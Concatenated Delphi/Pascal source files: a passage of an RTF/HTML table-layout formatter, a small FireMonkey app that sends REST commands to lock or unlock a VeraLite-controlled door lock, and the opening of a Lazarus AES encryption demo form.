if padd_b = 0 then padd_b := padd_b + par.AGetDef(WPAT_BorderWidthB, nn);
padd_l := MulDiv(padd_l, xres, 1440);
padd_r := MulDiv(padd_r, xres, 1440);
padd_t := MulDiv(padd_t, yres, 1440);
padd_b := MulDiv(padd_b, yres, 1440);
end;
w_exact := -1;
w_min := padd_l + padd_r;
w_all := padd_l + padd_r;
w_defined := 0;
w_print := 0;
w_maxprint := -1;
try
if paprMustInit in par.prop then
aRTFEngine.InitializePar(par.RTFData, par);
exclude(par.prop, paprMustReformat);
if par.ParagraphType = wpIsTable then
begin
c := 0;
apar := par.ChildPar;
while apar <> nil do
begin
i := apar.ChildrenCount;
if i > c then c := i;
apar := apar.NextPar;
end;
firstrow := TWPLineList.Create(Self, xres, yres);
for i := 0 to c - 1 do firstrow.hchildren.Add(TWPLineList.Create(firstrow, xres, yres));
apar := par.ChildPar;
n := 0;
while apar <> nil do
begin
p := TWPLineList.Create(Self, xres, yres);
p.par := apar;
p.Measure(aRTFEngine, Self, n, [], firstrow);
while p.hchildren.Count < c do
begin
p2 := TWPLineList.Create(nil, xres, yres);
p2.mode := p.mode + [wpIsDummyCol, wplIsColSpan];
p.mode := p.mode + [wplHasColSpan];
p.hchildren.Add(p2);
end;
inc(n);
vchildren.Add(p);
apar := apar.NextPar;
end;
cc := 1;
while cc < c do
begin
for i := 0 to vchildren.Count - 1 do
begin
p := TWPLineList(vchildren[i]);
if (wplHasColSpan in p.Mode) and (p.hchildren.Count > cc) then
begin
p2 := TWPLineList(p.hchildren[cc]);
if (wplIsColSpan in p2.mode) and
((cc = p.hchildren.Count - 1) or
not (wplIsColSpan in TWPLineList(p.hchildren[cc + 1]).Mode)) then
begin
w := TWPLineList(firstrow.hchildren[cc]).w_all;
w2 := TWPLineList(firstrow.hchildren[cc]).w_min;
a2 := cc - 1;
while (a2 >= 0) do
begin
p2 := TWPLineList(p.hchildren[a2]);
inc(w, TWPLineList(firstrow.hchildren[a2]).w_all);
inc(w2, TWPLineList(firstrow.hchildren[a2]).w_min);
if wplIsColSpanFirst in p2.mode then break;
dec(a2);
end;
w2 := p2.w_min_span - w2;
if w2 > 0 then
begin
w4 := w2;
for a := a2 to cc - 1 do
begin
w3 := MulDiv(w2, TWPLineList(firstrow.hchildren[a]).w_all, w);
dec(w4, w3);
inc(TWPLineList(firstrow.hchildren[a]).w_min, w3);
end;
inc(TWPLineList(firstrow.hchildren[cc]).w_min, w4);
end;
end;
end;
end;
inc(cc);
end;
for i := 0 to c - 1 do
begin
p := TWPLineList(firstrow.hchildren[i]);
inc(w_min, p.w_min);
inc(w_all, p.w_all);
end;
inc(w_min, (padd_l + padd_r));
inc(w_all, (padd_l + padd_r));
if par.AGet(WPAT_BoxWidth, i) then
begin
w_defined := MulDiv(i, xres, 1440);
if w_min < w_defined then
w_min := w_defined;
end
else if par.AGet(WPAT_BoxWidth_PC, i) then
begin
if i > 10000 then i := 10000;
w_defined_pc := i;
end;
if par.AGet(WPAT_BoxMarginLeft, i) then
begin
x_before := MulDiv(i, xres, 1440);
inc(w_min, x_before);
end;
if par.AGet(WPAT_BoxMarginRight, i) then
begin
x_after := MulDiv(i, xres, 1440);
inc(w_min, x_after);
end;
end
else
if (par.ParagraphType = wpIsTableRow) and (Parent <> nil) then
begin
apar := par.ChildPar;
c := 0;
while apar <> nil do
begin
p := TWPLineList.Create(Self, xres, yres);
p.par := apar;
if (paprRowMerge in apar.prop) and (ParVLevel > 0) and
(TWPLineList(Parent.vchildren[ParVLevel - 1]).hchildren.Count > c)
then
begin
p2 := TWPLineList(TWPLineList(Parent.vchildren[ParVLevel - 1]).hchildren[c]);
if wplIsRowSpan in p2.mode then
begin
p.rowspanfirst := p2.rowspanfirst;
exclude(p2.mode, wplIsRowSpanLast);
end else
begin
include(p2.mode, wplIsRowSpanFirst);
include(p2.mode, wplIsRowSpan);
p.rowspanfirst := p2;
end;
p.mode := p.mode + [wplIsRowSpan, wplIsRowSpanLast];
end;
exclude(apar.prop, paprColMergeFirst);
if (paprColMerge in apar.prop) then
include(p.mode, wplIsColSpan)
else
begin
p.Measure(aRTFEngine, Self, -1, [], nil);
if (apar.NextPar <> nil) and (paprColMerge in apar.NextPar.prop) then
begin
if (apar.ParentPar.PrevPar <> nil) or (apar.ParentPar.NextPar <> nil) then
begin
p.w_min_span := p.w_min;
p.w_max_span := p.w_all;
p.w_min := 0;
p.w_all := 0;
end;
include(apar.prop, paprColMergeFirst);
include(Self.Mode, wplHasColSpan);
include(p.mode, wplIsColSpanFirst);
end else
begin
if apar.AGet(WPAT_ColWidth, i) then
p.w_defined := MulDiv(i, xres, 1440)
else if apar.AGet(WPAT_ColWidth_PC, i) then
p.w_defined_pc := i;
end;
if MainRow <> nil then
begin
p2 := MainRow.hchildren[c];
if (p.w_min > p2.w_min) then p2.w_min := p.w_min;
if (p.w_all > p2.w_all) then p2.w_all := p.w_all;
if (p.w_defined > p2.w_defined) then p2.w_defined := p.w_defined;
if (p.w_defined_pc > p2.w_defined_pc) then p2.w_defined_pc := p.w_defined_pc;
end;
end;
apar := apar.NextPar;
hchildren.Add(p);
inc(c);
end;
end else
begin
w := 0;
if paprIsTable in par.Prop then
begin
if par.AGet(WPAT_ColWidth, i) then
begin
w_defined := MulDiv(i, xres, 1440);
end
else if par.AGet(WPAT_ColWidth_PC, i) then
begin
if i > 10000 then i := 10000;
w_defined_pc := i;
end else
if (w_defined = 0) and (par.ChildPar <> nil) and (par.CharCount = 0) then
begin
runpar := par.ChildPar;
while (runpar <> nil) and
((runpar.ParagraphType = wpIsTable) or (runpar.IsEmpty)) do
begin
if runpar.AGet(WPAT_BoxWidth, i) then
begin
i := MulDiv(i, xres, 1440);
if w_defined < i then w_defined := i;
end else if not runpar.IsEmpty then break;
runpar := runpar.NextPar;
end;
if runpar <> nil then
begin
w_defined := 0;
end;
end;
if w_defined <> 0 then
include(MMode, wplMeasureHasFixedWidth);
end;
if (not (wplNoMinWidth in MMode) or (paprIsTable in par.Prop)) and (par.CharCount = 0) then
begin
if (par.CharCount = 0) and (w_defined > 0) then
w := 0
else
if wplNoMinWidth in MMode then
w := 1
else w := xres div 10;
end
else for i := 0 to par.CharCount - 1 do
begin
if par.CharItem[i] = TextObjCode then
aTextObj := par.ObjectRef[i]
else aTextObj := nil;
if (par.CharItem[i] = #10) or
((aTextObj <> nil) and (aTextObj.ObjType = wpobjHorizontalLine)) then
begin
if (w > w_min - (padd_l + padd_r)) then w_min := w + padd_l + padd_r;
w := 0;
end else
if (wplMeasureHasFixedWidth in MMode) and (aTextObj <> nil) and (aTextObj.IsImage) then
begin
if (w > w_min - (padd_l + padd_r)) then w_min := w + (padd_l + padd_r);
w := (par.CharPos[i].Width);
inc(w_all, w);
end else
if (par.CharItem[i] <= #32) and (par.CharItem[i] > #3) then
begin
if (w > 0) then
begin
if (w > w_min - (padd_l + padd_r)) then w_min := w + (padd_l + padd_r);
w := 0;
end;
inc(w_all, (par.CharPos[i].Width));
end
else
begin
w := w + (par.CharPos[i].Width);
inc(w_all, (par.CharPos[i].Width));
end;
end;
if par.AGetInheritedFromCell(WPAT_NoWrap, i) and (i = 1) then
w_min := w_all + (padd_l + padd_r);
if (w > w_min - (padd_l + padd_r)) then w_min := w + (padd_l + padd_r);
apar := par.ChildPar;
while apar <> nil do
begin
p := TWPLineList.Create(Self, xres, yres);
p.par := apar;
p.Measure(aRTFEngine, Self, -1, MMode, nil);
if (p.w_min > w_min - (padd_l + padd_r)) then w_min := p.w_min + (padd_l + padd_r);
if p.w_all > w_all then w_all := p.w_all;
apar := apar.NextPar;
vchildren.Add(p);
end;
if (paprIsTable in par.Prop) then
begin
if w_min < w_defined - (padd_l + padd_r) then
w_min := w_defined + (padd_l + padd_r);
par.FIsWidth := w_min;
end;
end;
except
w_exact := -1;
w_min := 0;
w_all := 0;
end;
end;
procedure TWPLineList.Format(maxw, floww: Integer; MMode: TWPLineMeasureMode);
var linecount, linemax, start, i, j, tw, tw_all_def, tw_all, w, ybase, yh: Integer;
p, first: TWPLineList;
procedure AddLine(UseParLines: Boolean);
var xo, jj: Integer;
indentfirst, indentleft, numlevel: Integer;
hashindentfirst, SkipNumber: Boolean;
numstyle, sty: TWPTextStyle;
begin
if linecount >= linemax then
begin
inc(linemax, 10);
SetLength(lines, linemax);
end;
if maxw > 64000 then
maxw := 64000;
if maxw < 0 then maxw := 0;
lines[linecount].par := par;
lines[linecount].linenr := linecount;
lines[linecount].y := 0;
hashindentfirst := par.AGet(WPAT_IndentFirst, indentfirst);
numstyle := par.GetNumberStyle(numlevel, SkipNumber);
sty := par.ABaseStyle;
indentfirst := 0;
indentleft := 0;
{$IFDEF ____WP6}
if (indentfirst < 0) and
(aPar.AGetDefInherited(WPAT_NumberSTYLE, 0) <> 0) then
begin
indentfirst := 0;
hashindentfirst := false;
end;
{$ENDIF}
if not Par.AGet(WPAT_IndentLeft, indentleft) then
begin
if ((numstyle = nil) or
not numstyle.AGet(WPAT_IndentLeft, indentleft)) and
(sty <> nil) then
sty.AGetInherited(WPAT_IndentLeft, indentleft);
if not hashindentfirst then
begin
if ((numstyle = nil) or
not numstyle.AGet(WPAT_IndentFirst, indentfirst))
and (sty <> nil) then
sty.AGetInherited(WPAT_IndentFirst, indentfirst);
end;
end else if not hashindentfirst then
Par.AGet(WPAT_IndentFirst, indentfirst);
if (indentleft < 0) and (Par.Cell <> nil) then indentleft := 0;
if (indentleft + indentfirst < 0) and (Par.Cell <> nil) then indentfirst := -indentleft;
if (numstyle = nil) and (linecount = 0) then
lines[linecount].txoff := MulDiv(indentleft + indentfirst, xres, 1440)
else lines[linecount].txoff := MulDiv(indentleft, xres, 1440);
lines[linecount].x := 0;
lines[linecount].w := maxw;
if UseParLines then
begin
if par.LineCount > linecount then
begin
lines[linecount].h := par.Lines[linecount].Height;
lines[linecount].tybase := par.Lines[linecount].Base;
end;
end else
begin
lines[linecount].h := yh;
lines[linecount].tybase := ybase;
par.Lines[linecount].Height := yh;
par.Lines[linecount].CharStart := start;
par.Lines[linecount].CharPLen := i - start;
par.Lines[linecount].RectWidth := maxw;
xo := 0;
if i > par.CharCount - 1 then
i := par.CharCount - 1;
for jj := start to i do
begin
par.CharPos[jj].xoff := xo;
xo := (par.CharPos[jj].Width);
end;
end;
start := i;
inc(linecount);
w := 0;
yh := 0;
ybase := 0;
end;
var bTableHasWidth: Boolean;
begin
linemax := 0;
linecount := 0;
SetLength(lines, linemax);
i := 0;
start := 0;
ybase := 0;
yh := 0;
w := 0;
w_maxprint := maxw;
if par = nil then
begin
exit;
end;
par.State := par.State - [wpstIgnoreAlign];
if (paprIsTable in par.Prop) and (par.CharCount = 0) then
begin
w := 1;
end else
begin
par.Reformat(true, maxw, 1);
if par.ParagraphType <> wpIsTable then
begin
if (par.ParagraphType = wpIsStdPar) and
not (wplNoMinHeight in MMode) and
not (paprIsTable in par.prop) then
begin
if (Length(par.Lines) = 1) and (par.Lines[0].Height = 0) then
par.Lines[0].Height := yres div 6;
end;
while linecount < Length(par.Lines) do
AddLine(true);
end;
w := 0;
end;
if w > 0 then AddLine(true);
SetLength(lines, linecount);
if (par.ParagraphType = wpIsTable) and (vchildren.Count > 0) then
begin
bTableHasWidth := FALSE;
if x_before > maxw then x_before := maxw div 4;
if x_after > maxw then x_after := maxw div 4;
if x_before > 0 then dec(maxw, x_before);
if x_after > 0 then dec(maxw, x_after);
if w_defined > 0 then
begin
if w_defined < maxw then maxw := w_defined;
floww := maxw;
bTableHasWidth := true;
end
else if (w_defined_pc > 0) then
begin
maxw := MulDiv(maxw, w_defined_pc, 10000);
floww := maxw;
bTableHasWidth := true;
end;
if padd_l > 0 then
begin
dec(maxw, padd_l);
dec(floww, padd_l);
end;
if padd_r > 0 then
begin
dec(maxw, padd_r);
dec(floww, padd_r);
end;
if firstrow <> nil then
first := firstrow
else first := TWPLineList(vchildren[0]);
w := 0;
tw_all := 0;
tw_all_def := 0;
for i := 0 to first.hchildren.Count - 1 do
begin
p := TWPLineList(first.hchildren[i]);
if p.w_defined > 0 then
begin
if (p.w_defined > p.w_min)
and (wplIsColSpanFirst in p.Mode)
then
begin
inc(tw_all_def, p.w_defined);
p.w_print := p.w_defined;
end else
begin
inc(tw_all_def, p.w_min);
p.w_print := p.w_min;
end;
end
else
begin
inc(w, p.w_min);
inc(tw_all, p.w_all);
p.w_print := p.w_min;
end;
end;
if (w + tw_all_def > maxw) then
begin
if bTableHasWidth then
begin
w := 0;
tw := 0;
par.State := par.State + [wpstIgnoreAlign];
end else
begin
maxw := w + tw_all_def;
floww := w + tw_all_def;
tw := 0;
end;
end else
if not bTableHasWidth and (tw_all + tw_all_def < floww) then
begin
maxw := tw_all + tw_all_def;
floww := maxw;
tw := tw_all - w;
end else
begin
tw := floww - tw_all_def - w;
end;
if tw > 0 then
begin
for i := 0 to first.hchildren.Count - 1 do
begin
p := TWPLineList(first.hchildren[i]);
if p.w_defined = 0 then
begin
w := MulDiv(tw, p.w_all, tw_all);
inc(p.w_print, w);
end;
end;
end;
for i := 0 to vchildren.Count - 1 do
begin
p := TWPLineList(vchildren[i]);
for j := 0 to first.hchildren.Count - 1 do
if j < p.hchildren.Count then
TWPLineList(p.hchildren[j]).w_print :=
TWPLineList(first.hchildren[j]).w_print;
end;
w_print := maxw + padd_l + padd_r;
for i := 0 to vchildren.Count - 1 do
begin
p := TWPLineList(vchildren[i]);
p.Format(maxw, floww, MMode);
end;
w_print := 0;
for i := 0 to first.hchildren.Count - 1 do
begin
p := TWPLineList(first.hchildren[i]);
w_print := w_print + p.w_print;
end;
w_print := w_print + padd_l + padd_r + x_after + x_before;
end
else if par.ParagraphType = wpIsTableRow then
begin
i := 0;
while i < hchildren.Count do
begin
p := TWPLineList(hchildren[i]);
inc(i);
w := p.w_print;
if wplIsColSpanFirst in p.Mode then
while (i < hchildren.Count) and (wplIsColSpan in TWPLineList(hchildren[i]).Mode) do
begin
inc(w, TWPLineList(hchildren[i]).w_print);
inc(i);
end;
p.Format(w, w, MMode);
end;
end
else
begin
for i := 0 to vchildren.Count - 1 do
begin
p := TWPLineList(vchildren[i]);
p.Format(maxw, floww, MMode);
end;
end;
SetLength(par.Lines, linecount);
end;
procedure TWPLineList.Print(block: TWPRTFDataBlock; var pagenr: Integer; reserved_h: Integer; x: Integer; var y: Integer; MeasureMode: Boolean);
var currpage: TWPVirtPage;
j, i, a, xoff, yoff, maxh: Integer;
linedata: TWPVirtPageImageLineRef;
p, print_p: TWPLineList;
pageo, yo, xo: Integer;
pagestart: Integer;
procedure ClosePage(pLine: TWPLineList);
begin
if pLine <> nil then
begin
if pLine.currpage_brd = currpage then
begin
inc(y, pLine.padd_b);
pLine.currpage_brd.fLineRes[pLine.currpage_lnr].h := y + pLine.currpage_brd.FreeRects[0].y - pLine.currpage_brd.fLineRes[pLine.currpage_lnr].y;
end;
ClosePage(pLine.ParentLine);
end;
end;
procedure OpenPage(pLine: TWPLineList);
var newlinedata: TWPVirtPageImageLineRef;
begin
if pLine <> nil then
begin
OpenPage(pLine.ParentLine);
if (pLine.currpage_brd <> nil) and (pLine.currpage_brd <> currpage) then
begin
newlinedata := pLine.currpage_brd.fLineRes[pLine.currpage_lnr];
newlinedata.y := y + currpage.FreeRects[0].y;
newlinedata.h := 0;
pLine.currpage_brd := currpage;
pLine.currpage_lnr := currpage.AddLine(newlinedata, 0);
inc(y, pLine.padd_t);
end;
end;
end;
function MakeWord(v: Integer): Word;
begin
if v < 0 then
Result := 0
else {$IFDEF WPDEBUG}
if v > $FFFF then
begin{$ENDIF}
Result := v and $FFFF; {$IFDEF WPDEBUG}
end
else Result := v; {$ENDIF}
end;
var y_start, y_org, cellspace: Integer;
begin
currpage := block.pages[pagenr];
if (w_maxprint > currpage.FreeRects[0].w) then
w_maxprint := currpage.FreeRects[0].w;
if (w_print > currpage.FreeRects[0].w) then
w_print := currpage.FreeRects[0].w;
if par <> nil then
begin
par.FIsWidth := MulDiv(w_print, 1440,
xres
);
end;
xoff := currpage.FreeRects[0].x + x;
yoff := currpage.FreeRects[0].y + y;
y_start := y;
maxh := currpage.FreeRects[0].maxh + currpage.FreeRects[0].y;
if not MeasureMode then
inc(y, y_before);
if (par <> nil) and (par.ParagraphType = wpIsTable) and (w_maxprint > x + w_print)
and not (wpstIgnoreAlign in par.State)
and par.AGetInherited(WPAT_Box_Align, a) then
begin
if (a and WPBOXALIGN_RIGHT) <> 0 then
x := x + (w_maxprint - w_print)
else if (a and WPBOXALIGN_HCENTERTEXT) <> 0 then
x := x + (w_maxprint - w_print) div 2;
end;
if x < currpage.FreeRects[0].x + currpage.FreeRects[0].w * 3 then
for j := 0 to Length(lines) - 1 do
begin
linedata := lines[j];
if yoff + linedata.h > maxh - reserved_h then
begin
y := yoff - currpage.FreeRects[0].y;
ClosePage(ParentLine);
inc(pagenr);
currpage := block.pages[pagenr];
xoff := currpage.FreeRects[0].x + x;
maxh := currpage.FreeRects[0].maxh + currpage.FreeRects[0].y;
y := 0;
OpenPage(ParentLine);
yoff := currpage.FreeRects[0].y + y;
end;
if not MeasureMode then
begin
linedata.y := yoff;
linedata.x := xoff;
linedata.par.Lines[linedata.linenr].PageLineNr := currpage.LineCount;
if currpage.FLastPrintedYPos < linedata.y + linedata.h then
currpage.FLastPrintedYPos := linedata.y + linedata.h;
currpage.AddLine(linedata, 0);
end;
inc(yoff, linedata.h);
end;
pagestart := pagenr;
xo := x;
y := yoff - currpage.FreeRects[0].y;
currpage_brd := nil;
if par <> nil then
begin
if not MeasureMode and ((par.ParagraphType = wpIsTable)
or (paprIsTable in par.prop))
then
begin
FillChar(linedata, SizeOf(linedata), 0);
linedata.y := y_start + currpage.FreeRects[0].y;
linedata.x := x + currpage.FreeRects[0].x;
linedata.w := MakeWord(w_print);
linedata.h := 0;
if par.ParagraphType = wpIsTable then
linedata.lineflags := WPDRAW_TABLEBOX + WPDRAW_NOCURSOR
else linedata.lineflags := WPDRAW_NOCURSOR + WPDRAW_ISCELL;
linedata.par := par;
currpage_brd := currpage;
currpage_lnr := currpage.AddLine(linedata, 0);
end;
end;
inc(y, padd_t);
inc(x, padd_l);
for i := 0 to hchildren.Count - 1 do
begin
p := TWPLineList(hchildren[i]);
yo := yoff - currpage.FreeRects[0].y;
pageo := pagestart;
if (wplIsRowSpanFirst in p.mode) then
begin
p.row_pageno := pageo;
p.row_yo := yo;
p.row_xo := xo;
print_p := p;
end
else
if (wplIsRowSpanLast in p.mode) and (p.rowspanfirst <> nil) then
begin
pageo := p.rowspanfirst.row_pageno;
xo := p.rowspanfirst.row_xo;
yo := p.rowspanfirst.row_yo;
p.rowspanfirst.Print(block, pageo, reserved_h + padd_b, xo, yo, MeasureMode);
print_p := p.rowspanfirst;
end
else
if (wplIsRowSpan in p.mode) then
begin
print_p := p.rowspanfirst;
end
else
begin
p.Print(block, pageo, reserved_h + padd_b, xo, yo, MeasureMode);
print_p := p;
end;
if pageo > pagenr then
begin
pagenr := pageo;
y := yo;
end
else if (pagenr = pageo) and (yo > y) then y := yo;
if print_p.w_print > 0 then inc(xo, print_p.w_print)
else inc(xo, print_p.w_min);
end;
if (par <> nil) and not MeasureMode and (par.ParagraphType = wpIsTableRow) then
begin
for i := 0 to hchildren.Count - 1 do
begin
p := TWPLineList(hchildren[i]);
if wplIsRowSpanLast in p.mode then
p := p.rowspanfirst;
if p.currpage_brd = currpage then
begin
if (y + p.currpage_brd.FreeRects[0].y > p.currpage_brd.fLineRes[p.currpage_lnr].y) then
p.currpage_brd.fLineRes[p.currpage_lnr].h :=
y + p.currpage_brd.FreeRects[0].y - p.currpage_brd.fLineRes[p.currpage_lnr].y;
end;
end;
end;
if (par <> nil) and not MeasureMode and (par.ParagraphType = wpIsTable) then
begin
cellspace := MulDiv(par.AGetDef(WPAT_CellSpacing, 0), yres, 1440)
+ MulDiv(par.AGetDef(WPAT_CellPadding, 0), yres, 1440);
for i := 0 to vchildren.Count - 1 do
begin
p := TWPLineList(vchildren[i]);
y_org := y;
p.Print(block, pagenr, reserved_h + padd_b, x, y, false);
if y = y_org then
inc(y, 1);
if i < vchildren.Count - 1 then
inc(y, cellspace);
end;
end else
for i := 0 to vchildren.Count - 1 do
begin
p := TWPLineList(vchildren[i]);
p.Print(block, pagenr, reserved_h + padd_b, x, y, MeasureMode);
end;
inc(y, padd_b);
if (currpage_brd <> nil) and (y + currpage_brd.FreeRects[0].y > currpage_brd.fLineRes[currpage_lnr].y) then
currpage_brd.fLineRes[currpage_lnr].h := y + currpage_brd.FreeRects[0].y - currpage_brd.fLineRes[currpage_lnr].y;
if not MeasureMode then
inc(y, y_after);
end;
procedure TWPHTMRTFBlockFormatter.Format(block : TWPRTFDataBlock; FromPage: Integer; ToPage: Integer);
type
TNumberVars = record
FLastNumberMode: Integer;
FLastnumberstyle, FLastSimpleNumberstyle, FLastnumberLevelstyle: TWPTextStyle;
FLastNumber: Integer;
FLastNumlevel: Integer;
FLastNumberInLevel: array[1..9] of Integer;
FLastNumberGroup: Integer;
end;
var par: TParagraph;
MMode: TWPLineMeasureMode;
main, p: TWPLineList;
xoff, maxw, xres, yres: Integer;
aRTFEngine: TWPRTFEngineBasis;
i, yoff, pagenr: Integer;
numstyle: TWPTextStyle;
numlevel: Integer;
numbermode: Integer;
SkipNumber: Boolean;
NV: TNumberVars;
numstyleele: TWPRTFNumberingStyle;
begin
FillChar(NV, SizeOf(NV), 0);
par := block._FFirstPar;
while par <> nil do
begin
par.Number := 0;
par := par.next;
end;
for i := 0 to block.FPageList.Count - 1 do
begin
block.FPageList[i].FreeImages;
block.FPageList[i].Free;
block.FPageList[i] := nil;
end;
block.FPageList.Clear;
par := block._FFirstPar;
xres := block.DataCollection.RTFProps.XPixelsPerInch;
yres := block.DataCollection.RTFProps.YPixelsPerInch;
main := TWPLineList.Create(nil, xres, yres);
aRTFEngine := block.DataCollection.RTFEngine;
MMode := [];
if wpNoMinimumWidth in block.DataCollection.AsWebPage then
include(MMode, wplNoMinWidth);
if wpNoMinimumHeight in block.DataCollection.AsWebPage then
include(MMode, wplNoMinHeight);
include(MMode, wplLimitToPageWidth);
maxw := block.Pages[0].FreeRects[0].w;
try
while par <> nil do
begin
p := TWPLineList.Create(main, xres, yres);
p.par := par;
p.Measure(aRTFEngine, main, -1, MMode, nil);
p.Format(maxw, maxw, MMode);
main.vchildren.Add(p);
if par.AGet(WPAT_NumberStart, i)
then NV.FLastNumber := i;
numstyle := par.GetNumberStyleEx(numlevel, SkipNumber, numstyleele);
if numstyle <> nil then
begin
{$IFDEF RESET_OUTLINE_IN_NEWGROUP}
if (numstyleele <> nil) and
(NV.FLastNumberGroup <> numstyleele.Group) and
(NV.FLastNumberGroup <> 0) and
(numstyleele.Group <> 0) then
begin
for i := numlevel + 1 to 9 do
NV.FLastNumberInLevel[i] := 0;
end;
{$ENDIF}
numbermode := numstyle.AGetDef(WPAT_NumberMODE, 0);
if numbermode <> 0 then
begin
if (numlevel = 0) or (numlevel > 9) then
begin
if numstyle <> NV.FLastnumberstyle then
begin
if (wpfSimpleNumberingPriorityOverOutlines in block.DataCollection.FormatOptionsEx) and
(numstyle = NV.FLastSimpleNumberstyle) then
begin
end
else
begin
if (((numbermode < WPNUM_Text) or (numbermode > WPNUM_CIRCLE)) and
(numbermode <> WPNUM_BULLET)) and
(((NV.FLastNumberMode < WPNUM_Text) or (NV.FLastNumberMode > WPNUM_CIRCLE)) and
(NV.FLastNumberMode <> WPNUM_BULLET))
then NV.FLastNumber := 0;
NV.FLastNumberMode := numbermode;
NV.FLastnumberstyle := numstyle;
NV.FLastSimpleNumberstyle := numstyle;
if numstyleele = nil then NV.FLastNumberGroup := 0
else NV.FLastNumberGroup := numstyleele.Group;
end;
end else
if numbermode <> NV.FLastNumberMode then
begin
if (((numbermode < WPNUM_Text) or (numbermode > WPNUM_CIRCLE)) and
(numbermode <> WPNUM_BULLET)) and
(((NV.FLastNumberMode < WPNUM_Text) or (NV.FLastNumberMode > WPNUM_CIRCLE)) and
(NV.FLastNumberMode <> WPNUM_BULLET))
then NV.FLastNumber := 0;
NV.FLastNumberMode := numbermode;
if numstyleele = nil then NV.FLastNumberGroup := 0
else NV.FLastNumberGroup := numstyleele.Group;
end;
if ((numbermode < WPNUM_Text) or (numbermode > WPNUM_CIRCLE)) and
(numbermode <> WPNUM_BULLET) then
begin
if par.AGet(WPAT_NumberStart, i) then
NV.FLastNumber := i
else
if par.Number > 0 then
NV.FLastNumber := par.Number
else
inc(NV.FLastNumber);
par.Number := NV.FLastNumber;
par.NumGroup := NV.FLastNumberGroup;
end else par.Number := 1;
end else
begin
if (numlevel = NV.FLastNumlevel) and
(numstyle <> NV.FLastnumberLevelstyle) then
begin
NV.FLastNumberInLevel[numlevel] := 0;
end;
if numlevel < NV.FLastNumlevel then
for i := numlevel + 1 to 9 do
NV.FLastNumberInLevel[i] := 0;
if par.AGet(WPAT_NumberStart, i) then
NV.FLastNumberInLevel[numlevel] := i
else
if (NV.FLastNumberInLevel[numlevel] = 0) and
numstyle.AGet(WPAT_Number_STARTAT, i) and (i > 0) then
NV.FLastNumberInLevel[numlevel] := i
else
if par.Number > 0 then
NV.FLastNumberInLevel[numlevel] := par.Number
else
begin
inc(NV.FLastNumberInLevel[numlevel]);
end;
par.Number := NV.FLastNumberInLevel[numlevel];
NV.FLastNumlevel := numlevel;
NV.FLastnumberstyle := numstyle;
NV.FLastnumberLevelstyle := numstyle;
if numstyleele = nil then NV.FLastNumberGroup := 0
else NV.FLastNumberGroup := numstyleele.Group;
end;
end
else
begin
par.Number := 0;
par.NumGroup := 0;
end;
end;
par := par.NextPar;
end;
pagenr := 0;
xoff := 0;
yoff := 0;
main.Print(block, pagenr, 0 , xoff, yoff, false);
finally
main.Free;
end;
end;
var WPRTFDataBlockReformatHTM : TWPHTMRTFBlockFormatter;
initialization
WPRTFDataBlockReformatHTM := TWPHTMRTFBlockFormatter.Create;
pWPRTFDataBlockReformatHTM := WPRTFDataBlockReformatHTM;
inc(WPInstalledFormatters);
finalization
dec(WPInstalledFormatters);
if pWPRTFDataBlockReformatHTM=WPRTFDataBlockReformatHTM then
pWPRTFDataBlockReformatHTM := nil;
WPRTFDataBlockReformatHTM.Free;
WPRTFDataBlockReformatHTM := nil;
end.
|
unit Unit6;
interface
uses
System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants,
FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, FMX.StdCtrls,
FMX.ListBox, FMX.Edit, FMX.Layouts, IPPeerClient, REST.Client,
Data.Bind.Components, Data.Bind.ObjectScope;
type
TForm6 = class(TForm)
ToolBar1: TToolBar;
Label1: TLabel;
VeraLiteSwitch: TSwitch;
ListBox1: TListBox;
ListBoxItem1: TListBoxItem;
VeraLiteEdit: TEdit;
ListBoxItem2: TListBoxItem;
ComboBox1: TComboBox;
ListBoxItem3: TListBoxItem;
DoItButton: TButton;
RESTRequestLockOperation: TRESTRequest;
RESTClient1: TRESTClient;
procedure VeraLiteSwitchSwitch(Sender: TObject);
procedure DoItButtonClick(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form6: TForm6;
implementation
{$R *.fmx}
procedure TForm6.DoItButtonClick(Sender: TObject);
var
LockCommand : string;
begin
// set the lock based on the combobox
if ComboBox1.Items[ComboBox1.ItemIndex] = 'Unlock' then
LockCommand := '0'
else
LockCommand := '1';
RestRequestLockOperation.Resource :=
'data_request?id=action&DeviceNum=3&serviceId=urn:micasaverde-com:serviceId:DoorLock1&action=SetTarget&newTargetValue='
+ LockCommand;
RestRequestLockOperation.Execute
end;
procedure TForm6.VeraLiteSwitchSwitch(Sender: TObject);
begin
// VeraLite Switch - check for operation
if VeraLiteSwitch.IsChecked then begin
// Set IP address and execute REST Request
RESTClient1.BaseURL :=
'http://'
+ VeraLiteEdit.Text
+ ':3480';
DoItButton.Enabled := true
end
else
DoItButton.Enabled := false
end;
end.
|
{ Version 1.0 - Author jasc2v8 at yahoo dot com
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or
distribute this software, either in source code form or as a compiled
binary, for any purpose, commercial or non-commercial, and by any
means.
In jurisdictions that recognize copyright laws, the author or authors
of this software dedicate any and all copyright interest in the
software to the public domain. We make this dedication for the benefit
of the public at large and to the detriment of our heirs and
successors. We intend this dedication to be an overt act of
relinquishment in perpetuity of all present and future rights to this
software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
For more information, please refer to <http://unlicense.org> }
unit Unit1;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Forms, Controls, Dialogs, StdCtrls,
DCPrijndael, DCPsha256;
type
{ TForm1 }
TForm1 = class(TForm)
ButtonEnCrypt: TButton;
ButtonDeCrypt: TButton;
EditClear: TEdit;
EditEncrypted: TEdit;
EditkEY: TEdit;
LabelKey: TLabel;
LabelSource: TLabel;
LabelDestination: TLabel;
procedure ButtonEnCryptClick(Sender: TObject);
procedure ButtonDeCryptClick(Sender: TObject);
private
{ private declarations }
public
{ public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.lfm}
{ TForm1 }
